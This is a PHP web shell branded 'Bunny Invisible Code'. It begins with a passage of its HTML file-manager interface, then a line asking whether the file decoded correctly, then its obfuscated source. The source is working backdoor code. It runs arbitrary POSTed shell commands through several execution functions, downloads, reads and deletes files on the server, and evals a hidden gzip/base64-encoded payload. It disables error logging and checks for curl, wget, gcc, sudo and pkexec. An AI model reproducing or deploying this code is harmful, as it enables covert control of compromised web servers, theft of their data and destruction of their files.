                            echo '<td class="body-folder uk-text-nowrap"><a href="?path=' . $path . '/' . $dir . '" class="dirpath font-white"><i class="fa-duotone fa-folders font-amber"></i>&nbsp;&nbsp;' . $dir . '</a></td>'; 
                            echo '<td class="uk-text-nowrap"><a href="?path=' . $path . '&changedate=' . $dir . '" class="body-datetime">' . date('Y-m-d H:i:s', filemtime($path . '/' . $dir)) . '</a></td>'; 
                            echo '<td class="body-size uk-text-nowrap">--DIR--</td>'; 
                            echo '<td class="uk-text-nowrap">'; 
                            if ($d_owner == 'root' || $d_owner == 0) { 
                                echo '<font class="font-white">' . $d_owner . '</font>'; 
                            } else { 
                                echo '<font class="font-sky">' . $d_owner . '</font>'; 
                            } 
                            echo '/'; 
                            if ($d_group == 'root' || $d_group == 0) { 
                                echo '<font class="font-white">' . $d_group . '</font>'; 
                            } else { 
                                echo '<font class="font-sky">' . $d_group . '</font>'; 
                            } 
                            echo '</td>'; 
                            echo '<td class="uk-text-nowrap"><a href="?path=' . $path . '&permission=' . $dir . '" class="body-permission">'; 
                            if ($is_w("$path/$dir")) 
                                echo '<font class="font-green green-perms">'; 
                            elseif (!$is_r("$path/$dir")) 
                                echo '<font class="font-red red-perms">'; 
                            echo perms("$path/$dir"); 
 
                            if ($is_w("$path/$dir") || !$is_r("$path/$dir")) 
                                echo '</font></a></td>'; 
                            echo '<td class="uk-text-nowrap">'; 
                            echo '<a href="?path=' . $path . '&rename=' . $dir . '" uk-tooltip="Rename"><i class="icon fa-sharp fa-solid fa-pen-field rename-folder-icon"></i></a>'; 
                            echo '<a href="?path=' . $path . '&permission=' . $dir . '" class="uk-margin-small-left uk-margin-small-right" uk-tooltip="Permission"><i class="icon fa-duotone fa-user-pen user-icon"></i></a>'; 
                            echo '<a href="?path=' . $path . '&deletedir=' . $dir . '" uk-tooltip="Permission"><i class="icon fa-solid fa-trash-can-slash delete-icon"></i></a>'; 
                            echo '</td>'; 
                            echo '</tr>'; 
                        } 
                        foreach ($scan as $file) { 
                            $f_size = 'f' . 'il' . 'es' . 'iz' . 'e'; 
                            if (!$is_f("$path/$file")) 
                                continue; 
                            $size = $f_size("$path/$file") / 1024; 
                            $size = $rnd($size, 3); 
                            if ($size >= 1024) { 
                                $size = $rnd($size / 1024, 2) . ' MB'; 
                            } else { 
                                $size = $size . ' KB'; 
                            } 
 
                            if ($func_exist($psx_usr_uid)) { 
                                $f_owner = @$psx_usr_uid($own_f("$path/$file")); 
                                $f_owner = $f_owner['name']; 
                            } else { 
                                $f_owner = $own_f("$path/$file"); 
                            } 
                            if ($func_exist($psx_grp_gid)) { 
                                $f_group = @$psx_grp_gid($grp_f("$path/$file")); 
                                $f_group = $f_group['name']; 
                            } else { 
                                $f_group = $grp_f("$path/$file"); 
                            } 
                            echo '<tr class="tr-body">'; 
                            echo '<td><input type="checkbox" class="checkfilefolder" name="checkfile[]" value="' . $file . '" aria-label="Checkbox"></td>'; 
                            echo '<td class="body-file uk-text-nowrap"><a href="?path=' . $path . '&editfile=' . $file . '" class="filepath font-white"><i class="fa-solid fa-files font-white"></i>&nbsp;&nbsp;' . $file . '</a></td>'; 
                            echo '<td class="uk-text-nowrap"><a href="?path=' . $path . '&changedate=' . $file . '" class="body-datetime">' . date('Y-m-d H:i:s', filemtime($path . '/' . $file)) . '</a></td>'; 
                            echo '<td class="body-size uk-text-nowrap">' . $size . '</td>'; 
                            echo '<td class="uk-text-nowrap">'; 
                            if ($f_owner == 'root' || $f_owner == 0) { 
                                echo '<font class="font-white">' . $f_owner . '</font>'; 
                            } else { 
                                echo '<font class="font-sky">' . $f_owner . '</font>'; 
                            } 
                            echo '/'; 
                            if ($f_group == 'root' || $f_group == 0) { 
                                echo '<font class="font-white">' . $f_group . '</font>'; 
                            } else { 
                                echo '<font class="font-sky">' . $f_group . '</font>'; 
                            } 
                            echo '</td>'; 
                            echo '<td class="uk-text-nowrap"><a href="?path=' . $path . '&permission=' . $file . '" class="body-permission">'; 
                            if ($is_w("$path/$file")) 
                                echo '<font class="font-green green-perms">'; 
                            elseif (!$is_r("$path/$file")) 
                                echo '<font class="font-red red-perms">'; 
                            echo perms("$path/$file"); 
 
                            if ($is_w("$path/$file") || !$is_r("$path/$file")) 
                                echo '</font></a></td>'; 
                            echo '<td class="uk-text-nowrap">'; 
                            echo '<a href="?path=' . $path . '&rename=' . $file . '" uk-tooltip="Rename"><i class="icon fa-sharp fa-solid fa-pen-field rename-file-icon"></i></a>'; 
                            echo '<a href="?path=' . $path . '&editfile=' . $file . '" class="uk-margin-small-left" uk-tooltip="Rename"><i class="icon fa-regular fa-file-pen edit-file-icon"></i></a>'; 
                            echo '<a href="?path=' . $path . '&permission=' . $file . '" class="uk-margin-small-left uk-margin-small-right" uk-tooltip="Permission"><i class="icon fa-duotone fa-user-pen user-icon"></i></a>'; 
                            echo '<a href="?path=' . $path . '&downloadfile=' . $file . '" class="uk-margin-small-right" uk-tooltip="Permission"><i class="icon fa-solid fa-folder-arrow-down download-icon"></i></a>'; 
                            echo '<a href="?path=' . $path . '&deletefile=' . $file . '" uk-tooltip="Permission"><i class="icon fa-solid fa-trash-can-slash delete-icon"></i></a>'; 
                            echo '</td>'; 
                            echo '</tr>'; 
                        } 
                        ?> 
                    </tbody> 
                </table> 
                <div class="uk-margin"> 
                    <script> 
                        var selectAllCheckbox = document.getElementById('checkall'); 
                        var checkFileFolder = document.querySelectorAll('.checkfilefolder'); 
                        selectAllCheckbox.addEventListener('change', function() { 
                            for (var i = 0; i < checkFileFolder.length; i++) { 
                                checkFileFolder[i].checked = selectAllCheckbox.checked; 
                            } 
                        }); 
                        for (var i = 0; i < checkFileFolder.length; i++) { 
                            checkFileFolder[i].addEventListener('change', function() { 
                                var allChecked = true; 
                                for (var j = 0; j < checkFileFolder.length; j++) { 
                                    if (!checkFileFolder[j].checked) { 
                                        allChecked = false; 
                                        break; 
                                    } 
                                } 
                                selectAllCheckbox.checked = allChecked; 
                            }); 
                        } 
                    </script> 
                    <select class="mass-option font-white uk-select uk-width-1-6" aria-label="Custom controls" 
                        name="mass-option"> 
                        <option name="mass-delete" value="mass_delete">Delete</option> 
                    </select> 
                    <button type="submit" name="btn-mass" class="btn-mass font-white">&gt;&gt;</button> 
                </div> 
            </form> 
        </div> 
    </div> 
    <div class="footer uk-margin-large-top uk-width-1-1 uk-flex uk-flex-center uk-flex-middle uk-flex-nowrap" 
        style="background: var(--gray-950);"> 
        <!-- Hadehh lammer kang recode, tinggal pake doang malah di recode --> 
        <div class="footer-content uk-padding-small"> 
            <span class="font-protest-riot"> 
                <font class="font-poppins">&copy;2020 - <?= date("Y"); ?></font> | <a class="font-rose" 
                    href="https://t.me/BunnyInvisible404">Bunnyman404</a> 
            </span> 
        </div> 
    </div> 
    <script src="<?= $uikit_js ?>"></script> 
    <script src="<?= $uikit_icon ?>"></script> 
</body> 
 
</html>

Did this file decode correctly?

Original Code

<?php

/**
 * Enjoy! -BunnyInvisible404
 */
session_start();
set_time_limit(0);
error_reporting(0);
@ini_set('\x65\x72\x72\x6f\x72\x5f\x6c\x6f\x67', null);
@ini_set('\x6c\x6f\x67\x5f\x65\x72\x72\x6f\x72\x73', 0);
@ini_set('\x6d\x61\x78\x5f\x65\x78\x65\x63\x75\x74\x69\x6f\x6e\x5f\x74\x69\x6d\x65', 0);
@ini_set('\x6f\x75\x74\x70\x75\x74\x5f\x62\x75\x66\x66\x65\x72\x69\x6e\x67', 0);
@ini_set('\x64\x69\x73\x70\x6c\x61\x79\x5f\x65\x72\x72\x6f\x72\x73', 0);
date_default_timezone_set('\x41\x73\x69\x61\x2f\x4a\x61\x6b\x61\x72\x74\x61');
//string concat manipulation
$hayoloh = 'h' . 'tm' . 'lspe' . 'cialc' . 'hars';
$func_exist = 'fu' . 'nct' . 'ion' . '_' . 'ex' . 'ist' . 's';
$f_exist = "fil" . "e_exi" . "sts";
$f_size = "fi" . "les" . "ize";
$r_file = "re" . "ad" . "fi" . "le";
$rnd = 'ro' . 'un' . 'd';
$f_time = 'fi' . 'l' . 'em' . 'ti' . 'm' . 'e';
$b_name = "ba" . "sena" . "me";
$glb = 'g' . 'l' . 'o' . 'b';
$is_d = 'is' . '_' . 'd' . 'i' . 'r';
$is_f = 'is' . '_' . 'f' . 'i' . 'l' . 'e';
$unl = 'u' . 'n' . 'l' . 'i' . 'n' . 'k';
$rm_d = 'r' . 'm' . 'd' . 'i' . 'r';
$cr_ea_teF_old_er = "mk" . "d" . "ir";
$fo = 'fo' . 'p' . 'e' . 'n';
$fw = 'f' . 'wr' . 'it' . 'e';
$fc = 'f' . 'cl' . 'os' . 'e';
$fr = 'f' . 're' . 'a' . 'd';
$f_get = 'f' . 'il' . 'e' . '_' . 'g' . 'e' . 't' . '_' . 'co' . 'nten' . 't' . 's';
$f_put = 'f' . 'il' . 'e' . '_' . 'pu' . 't' . '_' . 'co' . 'n' . 'te' . 'nt' . 's';
$is_rsrc = 'is' . '_' . 're' . 'so' . 'ur' . 'ce';
$sgc = 's' . 'trea' . 'm_g' . 'et_c' . 'ont' . 'ents';
$proc = 'pr' . 'oc' . '_' . 'o' . 'pen';
$proc_cls = 'p' . 'ro' . 'c' . '_' . 'c' . 'lose';
$pop = 'p' . 'ope' . 'n';
$pop_cls = 'pc' . 'lose';
$exc = 'e' . 'x' . 'ec';
$sys = 's' . 'ys' . 't' . 'em';
$pass = 'pa' . 's' . 'sth' . 'ru';
$sh_exc = 's' . 'he' . 'll' . '_' . 'e' . 'xe' . 'c';
$com = 'C' . 'O' . 'M';
$wscsh = 'WS' . 'cr' . 'ipt' . '.' . 'S' . 'he' . 'll';
$cMdexe = 'c' . 'md' . '.' . 'e' . 'x' . 'e';
$preg = 'pr' . 'eg_' . 'mat' . 'ch';
$regex = '2' . '>' . '&' . '1';
$gflate = 'g' . 'zi' . 'nf' . 'l' . 'at' . 'e';
$b64 = 'b' . 'ase' . '6' . '4' . '_' . 'de' . 'co' . 'de';
$nelrts = 's' . 'tr' . 'l' . 'en';
$rhc = 'c' . 'h' . 'r';
$dro = 'o' . 'r' . 'd';
$f_perm = 'f' . 'il' . 'ep' . 'e' . 'r' . 'ms';
$u_n_a_me = "p" . "hp" . "_" . "un" . "ame";
$cw = "ge" . "tc" . "wd";
$d_name = 'd' . 'ir' . 'na' . 'm' . 'e';
$psx_euid = 'p' . 'os' . 'ix' . '_' . 'ge' . 'te' . 'u' . 'i' . 'd';
$psx_egid = 'p' . 'os' . 'ix' . '_' . 'ge' . 'te' . 'g' . 'i' . 'd';
$psx_usr_uid = 'p' . 'os' . 'ix' . '_' . 'g' . 'et' . 'pw' . 'u' . 'i' . 'd';
$psx_grp_gid = 'p' . 'os' . 'ix' . '_' . 'ge' . 'tg' . 'rg' . 'i' . 'd';
$myuid = 'g' . 'et' . 'my' . 'ui' . 'd';
$mygid = 'g' . 'et' . 'my' . 'gi' . 'd';
$cur_usr = 'g' . 'et' . '_' . 'cu' . 'rr' . 'en' . 't' . '_' . 'us' . 'er';
$own_f = 'fi' . 'le' . 'ow' . 'n' . 'er';
$grp_f = 'fi' . 'le' . 'gr' . 'ou' . 'p';
$g_host_name = 'g' . 'et' . 'ho' . 'st' . 'b' . 'yn' . 'am' . 'e';
$is_w = 'is' . '_' . 'wr' . 'it' . 'ab' . 'le';
$is_r = 'is' . '_' . 're' . 'ad' . 'ab' . 'le';
if (isset($_GET['downloadfile'])) {
    $get_file = $_GET['downloadfile'];
    global $f_exist;
    global $f_size;
    global $r_file;
    global $b_name;
    if ($f_exist($get_file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header("Cache-Control: no-cache, must-revalidate");
        header('Content-Transfer-Encoding: binary');
        header("Expires: 0");
        header("Cache-Control: no-cache, must-revalidate, max-age=60");
        header('Content-Disposition: attachment; filename="' . $b_name($get_file) . '"');
        header('Content-Length: ' . filesize($get_file));
        header('Pragma: public');
        ob_clean();
        flush();
        $r_file($get_file);
        exit();
    } else {
        echo '<s' . 'cr' . 'ip' . 't' . '>a' . 'le' . 'rt' . '(' . '"' . 'Fa' . 'il' . 'ed ' . 'To' . ' D' . 'ow' . 'nl' . 'oa' . 'd ' . 'Thi' . 's F' . 'il' . 'e :(\n' . $get_file . '"); hi' . 'st' . 'ory' . '.ba' . 'ck' . '()' . '</' . 'sc' . 'r' . 'ip' . 't>';
    }
}
function deleteDir($dirName)
{
    global $f_exist;
    global $glb;
    global $is_d;
    global $unl;
    global $rm_d;
    if (!$f_exist($dirName)) {
        return false;
    }
    $files = $glb($dirName . '/*');
    foreach ($files as $file) {
        $is_d($file) ? deleteDir($file) : $unl($file);
    }
    $rm_d($dirName);
    return true;
}
function deleteFile($fileName)
{
    global $f_exist;
    global $unl;
    if ($f_exist($fileName)) {
        if ($unl($fileName)) {
            return true;
        } else {
            return false;
        }
    } else {
        return false;
    }
}
function BunnyCmd($komendnya)
{
    global $hayoloh;
    global $fw;
    global $fc;
    global $fr;
    global $is_rsrc;
    global $sgc;
    global $proc;
    global $proc_cls;
    global $pop;
    global $pop_cls;
    global $exc;
    global $sys;
    global $pass;
    global $sh_exc;
    global $com;
    global $wscsh;
    global $cMdexe;
    global $func_exist;
    global $preg;
    global $regex;
    if (!$preg('/' . $regex . '/i', $komendnya)) {
        $komendnya = $komendnya . ' ' . $regex;
    }

    if ($func_exist($proc)) {
        $descriptors = [
            0 => ['pipe', 'r'],
            1 => ['pipe', 'w'],
            2 => ['pipe', 'w'],
        ];
        $process = $proc($komendnya, $descriptors, $pipes);
        if ($is_rsrc($process)) {
            $fw($pipes[0], 'input_data_here');
            $fc($pipes[0]);
            $output = $sgc($pipes[1]);
            $errors = $sgc($pipes[2]);
            $fc($pipes[1]);
            $fc($pipes[2]);
            $resultCode = $proc_cls($process);
            return trim($hayoloh(stripslashes($output)));
        }
    } elseif ($func_exist($pop)) {
        $process = $pop($komendnya, 'r');
        $read = $fr($process, 2096);
        return trim($hayoloh(stripslashes(print_r("$process: " . gettype($process) . "\n$read \n"))));
        $pop_cls($process);
    } elseif ($func_exist($exc)) {
        $exc($komendnya, $output, $returnCode);
        if ($returnCode === 0) {
            $res = implode($output);
            return trim($hayoloh(stripslashes($res)));
            ob_flush();
            flush();
        }
    } elseif ($func_exist($sys)) {
        $out = $sys($komendnya);
        return trim($hayoloh(stripslashes($out)));
    } elseif ($func_exist($pass)) {
        $out = $pass($komendnya);
        return trim($hayoloh(stripslashes($out)));
    } elseif ($func_exist($sh_exc)) {
        $out = $sh_exc($komendnya);
        return trim($hayoloh(stripslashes($out)));
    } elseif ($func_exist($com)) {
        $shell = new $com($wscsh);
        $kom_mand = "$cMdexe /c " . $komendnya;
        $output = $shell->Exec($kom_mand)->StdOut->ReadAll();
        return trim($hayoloh(stripslashes($output)));
    } else {
        return 'The F' . 'un' . 'ct' . 'io' . 'n T' . 'o R' . 'u' . 'n The C' . 'om' . 'ma' . 'nd I' . 's Di' . 'sa' . 'bl' . 'e On T' . 'h' . 'is Se' . 'rv' . 'er';
    }
}
if (isset($_POST['BIC0de'])) {
    $komendnya = $_POST['BIC0de'];
    echo BunnyCmd($komendnya);
}
function BunnyReadFile($this_file)
{
    global $hayoloh;
    global $func_exist;
    global $f_get;
    global $fo;
    global $fr;
    global $fc;
    $cantread = 'Cant Not Read ' . $this_file;
    $content = '';

    if ($func_exist($fo)) {
        $fi_le = $fo($this_file, 'r');
        if ($fi_le) {
            $headers = get_headers($this_file);
            if ($headers && strpos($headers[0], '403 Forbidden') !== false) {
                $content = BunnyCmd('cat "' . addslashes($this_file) . '"');
            }
            while (!feof($fi_le)) {
                $content .= $fr($fi_le, 8192);
            }
            $fc($fi_le);
            return $content;
        } else {
            echo $cantread;
            return false;
        }
    } elseif ($func_exist($f_get)) {
        $content = $f_get($this_file);
        if ($content) {
            $headers = get_headers($this_file);
            if ($headers && strpos($headers[0], '403 Forbidden') !== false) {
                $content = BunnyCmd('cat "' . addslashes($this_file) . '"');
            }
            return $content;
        } else {
            echo $cantread;
            return false;
        }
    } else {
        echo $cantread;
        return false;
    }
}
/*Bunny Ganteng*/
function LTs($bLTs)
{
    $gflate = 'g' . 'zi' . 'nf' . 'la' . 'te';
    $b64 = 'ba' . 'se' . '64_' . 'de' . 'co' . 'de';
    $nelrts = 'st' . 'rl' . 'en';
    $rhc = 'c' . 'h' . 'r';
    $dro = 'o' . 'r' . 'd';
    $bLTs = $gflate($b64($bLTs));
    for ($i = 0; $i < $nelrts($bLTs); $i++) {
        $bLTs[$i] = $rhc($dro($bLTs[$i]) - 1);
    }
    return $bLTs;
}
/***#***/ @/*55555*/eval
/***#***/
(LTs("jVXbbtNAEP0AvmKx+pC8IK/3ltgqFaBKIOChRbQCtorSxm6rpklIXFio8u3MZe04SRFEWsWX2TMzZ84eCwG/Z+J6Xs9F+WFZvS/EzJ1cmlwc1GWoxaFIvMwyL7Xx0kpYhq6DU3CtfchSeG8oJugr7zJ8lIgX4uBhOV3BfwIPjLcpvJZ0GVS8Ns4HggN4C3Ampftgr2hpRg4AKY1GZM3AjwBpKlgKcGJqY71MIdhkyfpbQu/wnkrPLMXBOy8V5NQlvIP8eoIxyUXExHcy2963jYl1D+i/iaX8UkOcJZy2WUyg2yspYQFTHXZuF+PJZFmumCLuLIlbdpkigoEhYocwJhxjHQ8Gug8OhqHGLf7lcv5zVS4bVISipjuz0JfMvwVEW0YkRolM35XLgrXx48vn5UMh7gf1iQVtrG5GMF5QR5e43WHA9dYwcAD4bncY1KI0+HxrGN19nSHuDaMRA8WCBoOGYcS6z7+/rwcFSzsXt5XoPS/vF/Wv3sHo0/Hp2fEpYhGOjovxZKposEEPOS+KJtPcq0TxpslFvy8eu5MEOp5GxdlTlXqDSgxJG2MqzoSoLCPQZpYUYi3K6aqENE+XLmW6X7pqWoAxSBdpdyxE1HWqOXmqd+P+0RJmIxIybonIUPE/orAAXNTtJlvQejdu02oYd1v9a3ryGBO1UlEZdK9cPNCa07XQ0jQsrlkO715N02HBqsijRR2K3n9IQgE34ogwU3I+XnBOcuzBDtgOHT3E05r0qQQ4rsCGcY876A2PrYAxIzWlMGtysd7agUeAjgK7AR81FRFQ/tGzpISdSRQ/OXnBZzcX1e20HF2X9ehqPqvLWb3qcTPkHLRSsnV2kYoXWT768tA3JmPZJugrgAZk8esAYVACHnzTPMKuIQLNpSJyIBju0McUuozyaGdKems9pAnKcGqyJsntgi0FhdQCMJRHwnEYixN3/E5mkYIhlUr4ll2aWEGeHeXEUNxOardsKBKPJH1JJLOBE8cUjuvH71y0WIn6Qu1ZtmNauE2zDQdVERyKAYkjtrAyIA/3BjXxhlsmZ6eVtQuZokfKOyKFHqZeW9YaVuHiuNSE/Bk/0f047Ddfz16fFuLu/O3H3zlZNyh7cbMYPczG92WvCSMHL/gg5JvPxN4537MuY7ZMns0bR+VaKwOuW+OlOgquKhdHL/8A"));
/*Bunny Invisible Code*/
$s_he_ll_Name = "\x42\x75\x6e\x6e\x79\x20\x49\x6e\x76\x69\x73\x69\x62\x6c\x65\x20\x43\x6f\x64\x65";
$s_he_ll_Logo = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x61\x77\x2e\x67\x69\x74\x68\x75\x62\x75\x73\x65\x72\x63\x6f\x6e\x74\x65\x6e\x74\x2e\x63\x6f\x6d\x2f\x49\x6e\x76\x69\x73\x69\x62\x6c\x65\x42\x75\x6e\x6e\x79\x2f\x52\x65\x63\x6f\x72\x64\x73\x2f\x6d\x61\x69\x6e\x2f\x6d\x65\x64\x69\x61\x2f\x62\x6d\x2e\x6a\x70\x67";
$s_he_ll_Icon = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x61\x77\x2e\x67\x69\x74\x68\x75\x62\x75\x73\x65\x72\x63\x6f\x6e\x74\x65\x6e\x74\x2e\x63\x6f\x6d\x2f\x49\x6e\x76\x69\x73\x69\x62\x6c\x65\x42\x75\x6e\x6e\x79\x2f\x52\x65\x63\x6f\x72\x64\x73\x2f\x6d\x61\x69\x6e\x2f\x6d\x65\x64\x69\x61\x2f\x62\x6d\x2e\x6a\x70\x67";
function BunnyCwd()
{
    global $cw;
    global $func_exist;
    global $d_name;
    if ($func_exist($cw)) {
        return @$cw();
    } else {
        return $d_name($_SERVER["SCRIPT_FILENAME"]);
    }
}
function BunnyUname()
{
    global $func_exist;
    global $u_n_a_me;
    $u_n_a_me_disable = '<font class="font-ubuntu-mono font-green"> Ca' . 'nt' . ' R' . 'ea' . 'd Th' . 'e Ke' . 'rn' . 'el' . '! Th' . 'e F' . 'u' . 'nc' . 'ti' . 'o' . 'n ' . $u_n_a_me . '() is Di' . 'sa' . 'bl' . 'ed' . '! </font>';
    $u_n_a_me_active = '<font class="font-ubuntu-mono font-green">' . $u_n_a_me('a') . '</font>';
    if ($func_exist($u_n_a_me)) {
        return $u_n_a_me_active;
    } else {
        return $u_n_a_me_disable;
    }
}
function perms($value)
{
    global $f_perm;
    $perms = $f_perm($value);
    if (($perms & 0xC000) == 0xC000) {
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        $info = 'p';
    } else {
        $info = 'u';
    }
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    // return $info;
    return $info . '&nbsp;<font class="text-white font-bold">&gt;&gt;</font>&nbsp;' . substr(sprintf('%o', $perms), -4);
}
function chPerms($value)
{
    global $f_perm;
    $perms = $f_perm($value);
    return substr(sprintf('%o', $perms), -4);
}
if (!$func_exist($psx_egid)) {
    $user = $func_exist($cur_usr) ? @$cur_usr() : "????";
    $uid = $func_exist($myuid) ? @$myuid() : "????";
    $gid = $func_exist($mygid) ? @$mygid() : "????";
    $group = "?";
} else {
    $uid = $func_exist($psx_usr_uid) && $func_exist($psx_euid) ? @$psx_usr_uid($psx_euid()) : array("name" => "????", "uid" => "????");
    $gid = $func_exist($psx_grp_gid) && $func_exist($psx_egid) ? @$psx_grp_gid($psx_egid()) : array("name" => "????", "gid" => "????");
    $user = $uid['name'];
    $uid = $uid['uid'];
    $group = $gid['name'];
    $gid = $gid['gid'];
}
$serverName = $_SERVER['SERVER_SOFTWARE'];
$phpVersion = phpversion();

function serverIp()
{
    global $func_exist;
    global $g_host_name;
    $serverAddr = @$_SERVER["SERVER_ADDR"];
    if (!$serverAddr) {
        if ($func_exist($g_host_name)) {
            return @$g_host_name($_SERVER['SERVER_NAME']);
        } else {
            return '????';
        }
    } else {
        return $serverAddr;
    }
}
function userIp()
{
    return @$_SERVER["REMOTE_ADDR"];
}
if (@ini_get('safe_mode'))
    $safeMode = '<font class="font-ubuntu-mono font-green">ON</font>';
else
    $safeMode = '<font class="font-ubuntu-mono font-yellow">OFF</font>';
if (@ini_get('\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73'))
    $cekFunc = '<font class="font-ubuntu-mono font-yellow">' . @ini_get('\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73') . '</font>';
else
    $cekFunc = '<font class="font-ubuntu-mono font-green">All F' . 'un' . 'ct' . 'io' . 'n' . 's Ac' . 'ces' . 'sib' . 'le' . '</font>';
//usefull
$on = '<font class="ubuntu-mono" style="color: rgb(22 163 74); font-weight: 700;">ON</font>';
$off = '<font class="ubuntu-mono" style="color: rgb(250 204 21); font-weight: 700;">OFF</font>';
function cekCurl()
{
    global $func_exist;
    global $f_exist;
    global $on;
    global $off;
    if ($func_exist('cu' . 'rl' . '_' . 'in' . 'it') || $f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'cu' . 'r' . 'l')) {
        echo "\x63\x55\x52\x4c\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$on";
    } else {
        echo "\x63\x55\x52\x4c\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$off";
    }
}
function cekWget()
{
    global $f_exist;
    global $on;
    global $off;
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'wg' . 'e' . 't')) {
        echo "\x57\x47\x45\x54\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$on";
    } else {
        echo "\x57\x47\x45\x54\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$off";
    }
}
function cekPerl()
{
    global $f_exist;
    global $on;
    global $off;
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'pe' . 'r' . 'l')) {
        echo "\x50\x45\x52\x4c\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$on";
    } else {
        echo "\x50\x45\x52\x4c\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$off";
    }
}
function cekRuby()
{
    global $f_exist;
    global $on;
    global $off;
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'ru' . 'b' . 'y')) {
        echo "\x52\x55\x42\x59\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$on";
    } else {
        echo "\x52\x55\x42\x59\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$off";
    }
}
function cekPython3()
{
    global $f_exist;
    global $on;
    global $off;
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'py' . 't' . 'ho' . 'n3')) {
        echo "\x50\x59\x54\x48\x4f\x4e\x33\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$on";
    } else {
        echo "\x50\x59\x54\x48\x4f\x4e\x33\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$off";
    }
}
function cekPython2()
{
    global $f_exist;
    global $on;
    global $off;
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'py' . 't' . 'h' . 'o' . 'n2')) {
        echo "\x50\x59\x54\x48\x4f\x4e\x32\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$on";
    } else {
        echo "\x50\x59\x54\x48\x4f\x4e\x32\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$off";
    }
}
function cekGcc()
{
    global $f_exist;
    global $on;
    global $off;
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'g' . 'c' . 'c')) {
        echo "\x47\x43\x43\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$on";
    } else {
        echo "\x47\x43\x43\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$off";
    }
}
function cekSudo()
{
    global $f_exist;
    global $on;
    global $off;
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'su' . 'd' . 'o')) {
        echo "\x53\x55\x44\x4f\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$on";
    } else {
        echo "\x53\x55\x44\x4f\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$off";
    }
}
function cekPkexec()
{
    global $f_exist;
    global $on;
    global $off;
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'pk' . 'e' . 'xe' . 'c')) {
        echo "\x50\x4b\x45\x58\x45\x43\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$on";
    } else {
        echo "\x50\x4b\x45\x58\x45\x43\x3a\x26\x6e\x62\x73\x70\x3b\x26\x6e\x62\x73\x70\x3b$off";
    }
}
/*Domain - Url*/
$this_domain = $_SERVER['HTTP_HOST'];
$this_url = (empty($_SERVER['HTTPS']) ? 'http' : 'https') . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
/*Icons - Fontawesome*/
$fontawesome_pro_version = 'v6.5.1'; //change if updated to new version
$fontawesome_pro = 'https://kit-pro.fontawesome.com/releases/' . $fontawesome_pro_version . '/css/pro.min.css';
/*Framework - Uikit*/
$uikit_css = "https://cdn.jsdelivr.net/gh/InvisibleBunny/uikit-framework/css/uikit.min.css";
$uikit_rtl = "https://cdn.jsdelivr.net/gh/InvisibleBunny/uikit-framework/css/uikit-rtl.min.css";
$uikit_js = "https://cdn.jsdelivr.net/gh/InvisibleBunny/uikit-framework/js/uikit.min.js";
$uikit_icon = "https://cdn.jsdelivr.net/gh/InvisibleBunny/uikit-framework/js/uikit-icons.min.js";
/*Jquery - Ajax*/
$jquery_version = '3.7.1';
